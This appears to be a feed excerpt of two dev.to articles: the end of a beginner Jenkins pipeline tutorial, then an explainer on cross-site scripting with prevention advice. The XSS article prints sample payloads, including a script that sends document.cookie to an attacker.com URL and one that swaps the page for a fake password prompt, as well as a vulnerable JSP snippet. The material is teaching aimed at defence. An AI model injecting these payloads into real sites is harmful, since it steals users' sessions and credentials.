  Jenkins Pipeline
&lt;/h2&gt;

&lt;p&gt;Create:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Jenkinsfile
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight groovy"&gt;&lt;code&gt;&lt;span class="n"&gt;pipeline&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="n"&gt;agent&lt;/span&gt; &lt;span class="n"&gt;any&lt;/span&gt;

    &lt;span class="n"&gt;stages&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

        &lt;span class="n"&gt;stage&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Preparation'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;steps&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
                &lt;span class="n"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'Preparing build environment...'&lt;/span&gt;
            &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;

        &lt;span class="n"&gt;stage&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Compile'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;steps&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

                &lt;span class="n"&gt;dir&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/mnt/c/MyDomain/jenkin-work/apps/calculator-app'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

                    &lt;span class="n"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'Compiling Java program...'&lt;/span&gt;

                    &lt;span class="n"&gt;sh&lt;/span&gt; &lt;span class="s1"&gt;'javac src/Main.java'&lt;/span&gt;
                &lt;span class="o"&gt;}&lt;/span&gt;
            &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;

        &lt;span class="n"&gt;stage&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Run Program'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;steps&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

                &lt;span class="n"&gt;dir&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/mnt/c/MyDomain/jenkin-work/apps/calculator-app'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

                    &lt;span class="n"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'Running Java program...'&lt;/span&gt;

                    &lt;span class="n"&gt;sh&lt;/span&gt; &lt;span class="s1"&gt;'java -cp src Main &amp;gt; output.txt'&lt;/span&gt;
                &lt;span class="o"&gt;}&lt;/span&gt;
            &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;

        &lt;span class="n"&gt;stage&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Archive Output'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;steps&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

                &lt;span class="n"&gt;dir&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/mnt/c/MyDomain/jenkin-work/apps/calculator-app'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

                    &lt;span class="n"&gt;archiveArtifacts&lt;/span&gt; &lt;span class="nl"&gt;artifacts:&lt;/span&gt; &lt;span class="s1"&gt;'output.txt'&lt;/span&gt;
                &lt;span class="o"&gt;}&lt;/span&gt;
            &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;

        &lt;span class="n"&gt;stage&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Deploy Simulation'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;steps&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
                &lt;span class="n"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'Deploying application...'&lt;/span&gt;
            &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="n"&gt;post&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

        &lt;span class="n"&gt;success&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'Pipeline executed successfully!'&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;

        &lt;span class="n"&gt;failure&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'Pipeline failed!'&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;For simplicity, this tutorial uses a hardcoded project path:&lt;/p&gt;


&lt;pre class="highlight groovy"&gt;&lt;code&gt;&lt;span class="n"&gt;dir&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/mnt/c/MyDomain/jenkin-work/apps/calculator-app'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;This was intentionally done to demonstrate an important Jenkins workspace concept and keep the example lightweight.&lt;/p&gt;

&lt;p&gt;In real-world CI/CD pipelines, Jenkins typically checks out source code directly from a Git repository into its workspace.&lt;/p&gt;

&lt;p&gt;A more typical approach would look like:&lt;/p&gt;


&lt;pre class="highlight groovy"&gt;&lt;code&gt;&lt;span class="n"&gt;stage&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Checkout'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;steps&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;git&lt;/span&gt; &lt;span class="s1"&gt;'https://github.com/your-username/calculator-app.git'&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

&lt;span class="n"&gt;stage&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Compile'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;steps&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;sh&lt;/span&gt; &lt;span class="s1"&gt;'javac src/Main.java'&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;The purpose of this article is to focus on understanding pipeline execution, workspaces, artifacts, and build flow before introducing Git integration.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Understanding Each Stage
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Preparation
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight groovy"&gt;&lt;code&gt;&lt;span class="n"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'Preparing build environment...'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This stage simulates environment preparation.&lt;/p&gt;

&lt;p&gt;In larger projects, this could include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Loading credentials&lt;/li&gt;
&lt;li&gt;Installing dependencies&lt;/li&gt;
&lt;li&gt;Setting environment variables&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  Compile
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight groovy"&gt;&lt;code&gt;&lt;span class="n"&gt;sh&lt;/span&gt; &lt;span class="s1"&gt;'javac src/Main.java'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Compiles the Java source code.&lt;/p&gt;

&lt;p&gt;If compilation fails, the pipeline stops immediately.&lt;/p&gt;




&lt;h3&gt;
  
  
  Run Program
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight groovy"&gt;&lt;code&gt;&lt;span class="n"&gt;sh&lt;/span&gt; &lt;span class="s1"&gt;'java -cp src Main &amp;gt; output.txt'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Executes the application and redirects the output to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;output.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Contents:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Sum = 30
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  Archive Output
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight groovy"&gt;&lt;code&gt;&lt;span class="n"&gt;archiveArtifacts&lt;/span&gt; &lt;span class="nl"&gt;artifacts:&lt;/span&gt; &lt;span class="s1"&gt;'output.txt'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Stores the generated file inside Jenkins for later access.&lt;/p&gt;




&lt;h3&gt;
  
  
  Deploy Simulation
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight groovy"&gt;&lt;code&gt;&lt;span class="n"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'Deploying application...'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In a production pipeline, this stage could:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Deploy Docker containers&lt;/li&gt;
&lt;li&gt;Copy files to servers&lt;/li&gt;
&lt;li&gt;Deploy applications to Kubernetes&lt;/li&gt;
&lt;li&gt;Restart services&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Creating the Jenkins Pipeline Job
&lt;/h2&gt;

&lt;p&gt;After logging into Jenkins:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Click:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;New Item
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Enter:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;calculator-pipeline
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Select:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Pipeline
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Click &lt;strong&gt;OK&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Under:&lt;br&gt;
&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Definition
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Choose:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Pipeline Script
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Paste the Jenkinsfile content.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Save.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Click:&lt;br&gt;
&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Build Now
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  CI/CD Flow Visualization
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;          Java Source Code
                  │
                  ▼
      Jenkins Pipeline Starts
                  │
                  ▼
             Compile
                  │
                  ▼
             Execute
                  │
                  ▼
        Generate Artifact
                  │
                  ▼
        Archive Artifact
                  │
                  ▼
          Post Actions
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Although this example is small, enterprise pipelines follow the same basic pattern.&lt;/p&gt;




&lt;h2&gt;
  
  
  Understanding Jenkins Workspaces
&lt;/h2&gt;

&lt;p&gt;One of the most important Jenkins concepts is the workspace.&lt;/p&gt;

&lt;p&gt;When Jenkins executes a build, it typically runs inside:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/var/lib/jenkins/workspace/calculator-pipeline
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;My initial build failed because Jenkins could not locate:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;src/Main.java
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The source code existed outside the Jenkins workspace.&lt;/p&gt;

&lt;p&gt;The solution was:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight groovy"&gt;&lt;code&gt;&lt;span class="n"&gt;dir&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/mnt/c/MyDomain/jenkin-work/apps/calculator-app'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="n"&gt;sh&lt;/span&gt; &lt;span class="s1"&gt;'javac src/Main.java'&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This temporarily changes the working directory before executing commands.&lt;/p&gt;

&lt;p&gt;Understanding workspaces will save significant debugging time when building larger pipelines.&lt;/p&gt;




&lt;h2&gt;
  
  
  Console Output
&lt;/h2&gt;

&lt;p&gt;A successful build produced output similar to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Preparing build environment...
Compiling Java program...
Running Java program...
Pipeline executed successfully!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The Jenkins Console Output page is often the first place you'll inspect when troubleshooting build failures.&lt;/p&gt;




&lt;h2&gt;
  
  
  Generated Artifact
&lt;/h2&gt;

&lt;p&gt;The pipeline generated:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;output.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Contents:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Sum = 30
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Real-world pipelines commonly generate:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;JAR files&lt;/li&gt;
&lt;li&gt;WAR files&lt;/li&gt;
&lt;li&gt;Test reports&lt;/li&gt;
&lt;li&gt;Coverage reports&lt;/li&gt;
&lt;li&gt;Docker images&lt;/li&gt;
&lt;li&gt;Deployment packages&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The concept remains identical.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Most Important Lesson
&lt;/h2&gt;

&lt;p&gt;💡 Key Takeaway&lt;/p&gt;

&lt;p&gt;Jenkins does not compile Java, build Docker images, or deploy applications itself.&lt;/p&gt;

&lt;p&gt;Jenkins is an automation server that orchestrates external tools and commands.&lt;/p&gt;

&lt;p&gt;Understanding this distinction is one of the most important concepts in DevOps and CI/CD.&lt;/p&gt;

&lt;p&gt;When Jenkins executes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight groovy"&gt;&lt;code&gt;&lt;span class="n"&gt;sh&lt;/span&gt; &lt;span class="s1"&gt;'javac src/Main.java'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;it is simply asking the operating system to run the Java compiler.&lt;/p&gt;

&lt;p&gt;Likewise:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight groovy"&gt;&lt;code&gt;&lt;span class="n"&gt;sh&lt;/span&gt; &lt;span class="s1"&gt;'docker build .'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;asks Docker to build an image.&lt;/p&gt;

&lt;p&gt;Jenkins orchestrates tools—it does not replace them.&lt;/p&gt;

&lt;p&gt;Understanding this distinction is fundamental to learning DevOps and CI/CD.&lt;/p&gt;




&lt;h2&gt;
  
  
  Future Enhancements
&lt;/h2&gt;

&lt;p&gt;Once comfortable with this example, you can gradually introduce:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Git integration&lt;/li&gt;
&lt;li&gt;Automatic build triggers&lt;/li&gt;
&lt;li&gt;Maven builds&lt;/li&gt;
&lt;li&gt;Unit testing&lt;/li&gt;
&lt;li&gt;Docker integration&lt;/li&gt;
&lt;li&gt;Tomcat deployment&lt;/li&gt;
&lt;li&gt;Kubernetes deployment&lt;/li&gt;
&lt;li&gt;Full CI/CD automation&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The core Jenkins concepts remain exactly the same.&lt;/p&gt;




&lt;h2&gt;
  
  
  Final Thoughts
&lt;/h2&gt;

&lt;p&gt;Many engineers first encounter Jenkins through large enterprise pipelines that can feel intimidating.&lt;/p&gt;

&lt;p&gt;Starting with a tiny project makes the learning process much easier.&lt;/p&gt;

&lt;p&gt;A simple Java application is enough to understand:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Pipeline stages&lt;/li&gt;
&lt;li&gt;Build execution&lt;/li&gt;
&lt;li&gt;Artifacts&lt;/li&gt;
&lt;li&gt;Workspaces&lt;/li&gt;
&lt;li&gt;Automation flow&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Once these fundamentals become clear, moving toward Docker, Kubernetes, and enterprise CI/CD becomes much more natural.&lt;/p&gt;

&lt;p&gt;Sometimes the best way to understand a large system is to begin with the smallest possible working example.&lt;/p&gt;

&lt;p&gt;If you're new to Jenkins, try building this example yourself before moving on to Maven, Docker, or Kubernetes. The concepts learned here will transfer directly to larger CI/CD pipelines.&lt;/p&gt;

</description>
      <category>jenkins</category>
      <category>devops</category>
      <category>cicd</category>
      <category>java</category>
    </item>
    <item>
      <title>XSS Explained: How Attackers Execute JavaScript Inside Your Application</title>
      <dc:creator>Sanjay Ghosh</dc:creator>
      <pubDate>Tue, 05 May 2026 22:30:33 +0000</pubDate>
      <link>https://dev.to/sanjayghosh/xss-explained-how-attackers-execute-javascript-inside-your-application-5fc6</link>
      <guid>https://dev.to/sanjayghosh/xss-explained-how-attackers-execute-javascript-inside-your-application-5fc6</guid>
      <description>&lt;h3&gt;
  
  
  Hook
&lt;/h3&gt;

&lt;p&gt;What if an attacker could execute JavaScript inside your users’ browsers — using nothing more than a comment box?&lt;br&gt;
That’s exactly what Cross-Site Scripting (XSS) enables.&lt;/p&gt;

&lt;p&gt;Let’s break down how this actually happens in real applications.&lt;/p&gt;

&lt;h3&gt;
  
  
  What is XSS?
&lt;/h3&gt;

&lt;p&gt;The flow of a typical XSS attack is illustrated above.&lt;/p&gt;

&lt;p&gt;Cross-Site Scripting happens when an application renders untrusted user input directly into a web page.&lt;br&gt;
Instead of displaying the input as plain text, the browser interprets it as executable JavaScript.&lt;/p&gt;

&lt;p&gt;This allows attackers to run malicious code in another user’s browser — under your application’s trusted domain.&lt;/p&gt;

&lt;h3&gt;
  
  
  Types of XSS
&lt;/h3&gt;

&lt;p&gt;✔ Stored XSS&lt;br&gt;
Attacker submits malicious input.&lt;br&gt;
Application stores it in database.&lt;br&gt;
Every user who loads the page executes it.&lt;/p&gt;

&lt;p&gt;Example scenario:&lt;br&gt;
Comment section&lt;br&gt;
✔ Reflected XSS&lt;br&gt;
Input comes from request (URL/form)&lt;br&gt;
Reflected immediately&lt;/p&gt;

&lt;p&gt;Example:&lt;br&gt;
Search page&lt;br&gt;
✔ DOM-based XSS &lt;br&gt;
No server involvement.&lt;br&gt;
Client-side JavaScript inserts attacker-controlled data into DOM.&lt;br&gt;
While these types differ in how the payload is delivered, the core issue is the same: untrusted input is executed as code.&lt;/p&gt;

&lt;h3&gt;
  
  
  Practical Example
&lt;/h3&gt;

&lt;p&gt;❌ Vulnerable Example (Java/JSP)&lt;br&gt;
&lt;code&gt;String comment = request.getParameter("comment");&lt;br&gt;
saveComment(comment);&lt;/code&gt;&lt;br&gt;
Later Rendered:&lt;br&gt;
&lt;code&gt;&amp;lt;div&amp;gt;&amp;lt;%= comment %&amp;gt;&amp;lt;/div&amp;gt;&lt;/code&gt;&lt;br&gt;
The application assumes the comment is harmless text.&lt;br&gt;
But the browser has no way to know that.&lt;/p&gt;

&lt;p&gt;💥 Attack Input&lt;br&gt;
&lt;code&gt;&amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;br&gt;
When rendered:&lt;br&gt;
&lt;code&gt;&amp;lt;div&amp;gt;&amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;&amp;lt;/div&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Browser executes it.&lt;br&gt;
The browser has no way to distinguish between legitimate code and attacker-injected code.&lt;br&gt;
Instead of displaying text, the browser executes JavaScript.&lt;/p&gt;

&lt;h3&gt;
  
  
  Escalate Attack (Attacker Mindset)
&lt;/h3&gt;

&lt;h4&gt;
  
  
  Cookie Theft Example
&lt;/h4&gt;

&lt;p&gt;&lt;code&gt;&amp;lt;script&amp;gt;&lt;br&gt;
fetch("https://attacker.com/steal?cookie=" + document.cookie);&lt;br&gt;
&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;br&gt;
This sends victim session cookies to attacker.&lt;br&gt;
If session cookies are not protected, attacker may hijack active sessions.&lt;br&gt;
This works because browsers automatically include cookies with requests to the same domain.&lt;/p&gt;

&lt;h4&gt;
  
  
  Fake Login Form
&lt;/h4&gt;

&lt;p&gt;&lt;code&gt;&amp;lt;script&amp;gt;&lt;br&gt;
document.body.innerHTML =&lt;br&gt;
'&amp;lt;h2&amp;gt;Session Expired&amp;lt;/h2&amp;gt;&amp;lt;input placeholder="Password"&amp;gt;';&lt;br&gt;
&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;br&gt;
Attacker replaces page content with fake UI.&lt;br&gt;
Users unknowingly enter credentials.&lt;/p&gt;

&lt;h3&gt;
  
  
  Real Impact
&lt;/h3&gt;

&lt;h4&gt;
  
  
  Session hijacking
&lt;/h4&gt;

&lt;p&gt;Attacker steals authenticated session.&lt;/p&gt;

&lt;h4&gt;
  
  
  Account takeover
&lt;/h4&gt;

&lt;p&gt;Victim account accessed without password.&lt;/p&gt;

&lt;h3&gt;
  
  
  Data theft
&lt;/h3&gt;

&lt;p&gt;Sensitive page data can be extracted.&lt;/p&gt;

&lt;p&gt;Phishing inside app&lt;br&gt;
This is especially dangerous because users trust your domain.&lt;br&gt;
Users are far more likely to trust fake prompts when they appear inside a legitimate application they already trust.&lt;/p&gt;

&lt;p&gt;The dangerous part about XSS is that it doesn’t attack your backend — it exploits the trust between your application and your users.&lt;/p&gt;

&lt;h3&gt;
  
  
  How to Prevent XSS
&lt;/h3&gt;

&lt;h4&gt;
  
  
  ✅ Output Encoding
&lt;/h4&gt;

&lt;p&gt;Escape special characters&lt;br&gt;
Convert &amp;lt; →&amp;amp;lt;&lt;br&gt;
👉 Key idea:&lt;br&gt;
Treat user input as data, not HTML&lt;br&gt;
Unsafe:&lt;br&gt;
&lt;code&gt;&amp;lt;div&amp;gt;&amp;lt;%= userInput %&amp;gt;&amp;lt;/div&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Safe:&lt;br&gt;
&lt;code&gt;&amp;lt;div&amp;gt;&amp;lt;c:out value="${userInput}" /&amp;gt;&amp;lt;/div&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Special characters become text:&lt;br&gt;
&lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; becomes visible text instead of executable code.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Method&lt;/th&gt;
&lt;th&gt;Browser Sees (Source Code)&lt;/th&gt;
&lt;th&gt;Browser Does&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&amp;lt;c:out&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&amp;amp;lt;script&amp;amp;gt;evil()&amp;amp;lt;/script&amp;amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Displays literal text on screen.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&amp;lt;%= %&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&amp;lt;script&amp;gt;evil()&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Executes the script immediately.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h4&gt;
  
  
  ✅ Framework Protection
&lt;/h4&gt;

&lt;p&gt;Modern frameworks escape by default.&lt;br&gt;
React (safe)&lt;br&gt;
&lt;code&gt;&amp;lt;div&amp;gt;{userInput}&amp;lt;/div&amp;gt;&lt;br&gt;
&lt;/code&gt;&lt;br&gt;
Dangerous&lt;br&gt;
&lt;code&gt;&amp;lt;div dangerouslySetInnerHTML={{ __html: userInput }} /&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Usually, when you render data in React using curly braces {userContent}, React automatically escapes the content. This means it treats everything—including HTML tags—as literal text, preventing malicious scripts from executing.&lt;/p&gt;

&lt;p&gt;When you use dangerouslySetInnerHTML, you are telling React to skip that protection and inject the raw string directly into the DOM&lt;/p&gt;

&lt;p&gt;✅ ####Content Security Policy&lt;br&gt;
Restrict script execution&lt;br&gt;
&lt;code&gt;Content-Security-Policy: default-src 'self'; script-src 'self';&lt;/code&gt;&lt;br&gt;
Even if script injection happens, browser blocks unauthorized script execution.&lt;/p&gt;

&lt;h3&gt;
  
  
  Common Mistakes
&lt;/h3&gt;

&lt;h4&gt;
  
  
  Trusting user input
&lt;/h4&gt;

&lt;p&gt;Never assume users behave correctly.&lt;/p&gt;

&lt;h4&gt;
  
  
  Using innerHTML
&lt;/h4&gt;

&lt;p&gt;Unsafe:&lt;br&gt;
&lt;code&gt;element.innerHTML = userInput;&lt;/code&gt;&lt;br&gt;
Safe:&lt;br&gt;
&lt;code&gt;element.textContent = userInput;&lt;/code&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  Disabling escaping
&lt;/h4&gt;

&lt;p&gt;Framework protections exist for a reason.&lt;/p&gt;

&lt;h3&gt;
  
  
  Final Thoughts
&lt;/h3&gt;

&lt;h4&gt;
  
  
  Think like an attacker:
&lt;/h4&gt;

&lt;p&gt;Ask:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Can I inject script here?&lt;/li&gt;
&lt;li&gt;Will the browser execute it?&lt;/li&gt;
&lt;li&gt;Can I steal trust from this page?&lt;/li&gt;
&lt;/ul&gt;

